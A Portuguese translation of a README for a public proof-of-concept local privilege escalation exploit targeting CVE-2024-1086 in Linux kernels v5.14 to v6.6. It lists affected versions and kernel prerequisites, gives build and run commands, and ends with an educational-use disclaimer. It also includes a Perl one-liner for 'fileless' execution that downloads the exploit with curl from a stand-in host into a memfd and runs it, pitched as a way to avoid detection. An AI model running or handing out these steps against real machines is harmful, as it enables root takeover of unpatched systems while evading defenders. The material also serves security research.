
Exploit de escalonamento de privilégios local para CVE-2024-1086 visando kernels Linux v5.14–v6.6 com taxa de sucesso de 99,4% no KernelCTF. Inclui suporte a execução sem arquivos para testes de penetração.
Exploit universal de prova de conceito para escalonamento de privilégio local para CVE-2024-1086, funcionando na maioria dos kernels Linux entre v5.14 e v6.6, incluindo Debian, Ubuntu e KernelCTF. A taxa de sucesso é de 99,4% nas imagens do KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Um artigo completo sobre o exploit - incluindo informações de contexto e muitos diagramas úteis - pode ser encontrado na postagem do blog Flipping Pages.
O exploit afeta versões de (incluindo) v5.14 a (incluindo) v6.6, excluindo branches corrigidos v5.15.149>, v6.1.76>, v6.6.15>. O patch para essas versões foi lançado em fevereiro de 2024. A vulnerabilidade subjacente afeta todas as versões (excluindo branches estáveis corrigidos) de v3.15 a v6.8-rc1.
Advertências:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluindo Ubuntu v6.5)CONFIG_USER_NS=y), que esses namespaces de usuário sejam não privilegiados (comando sh sysctl kernel.unprivileged_userns_clone = 1) e que nf_tables esteja habilitado (kconfig CONFIG_NF_TABLES=y). Por padrão, todos estão habilitados no Debian, Ubuntu e KernelCTF. Outras distribuições não foram testadas, mas podem funcionar também. Além disso, o exploit foi testado apenas em x64/amd64.Os valores padrão devem funcionar imediatamente no Debian, Ubuntu e KernelCTF com um shell local. Em ambientes/distribuições não testados, certifique-se de que os valores kconfig correspondam ao kernel alvo. Estes podem ser especificados em src/config.h. Se você estiver executando o exploit em uma máquina com mais de 32 GiB de memória física, certifique-se de aumentar CONFIG_PHYS_MEM.
Se você estiver executando o exploit via SSH (na máquina de teste) ou um reverse shell, talvez queira alternar CONFIG_REDIRECT_LOG para 1 para evitar atividade de rede desnecessária.
Se isso for impraticável para você, há um binário x64 compilado com a configuração padrão.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binário: CVE-2024-1086/exploit
Executar o exploit é igualmente trivial:
./exploit
A execução sem arquivo também é suportada, em caso de situações de pentest onde as detecções precisam ser evitadas. No entanto, o Perl precisa estar instalado no alvo:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Os programas e scripts ("programas") neste diretório/pasta/repositório de software ("repositório") são publicados, desenvolvidos e distribuídos apenas para fins educacionais/pesquisa. Eu ("o criador") não endosso qualquer uso malicioso ou ilegal dos programas neste repositório, pois a intenção é compartilhar pesquisa e não realizar atividades ilegais com ele. Não sou legalmente responsável por qualquer coisa que você faça com os programas neste repositório.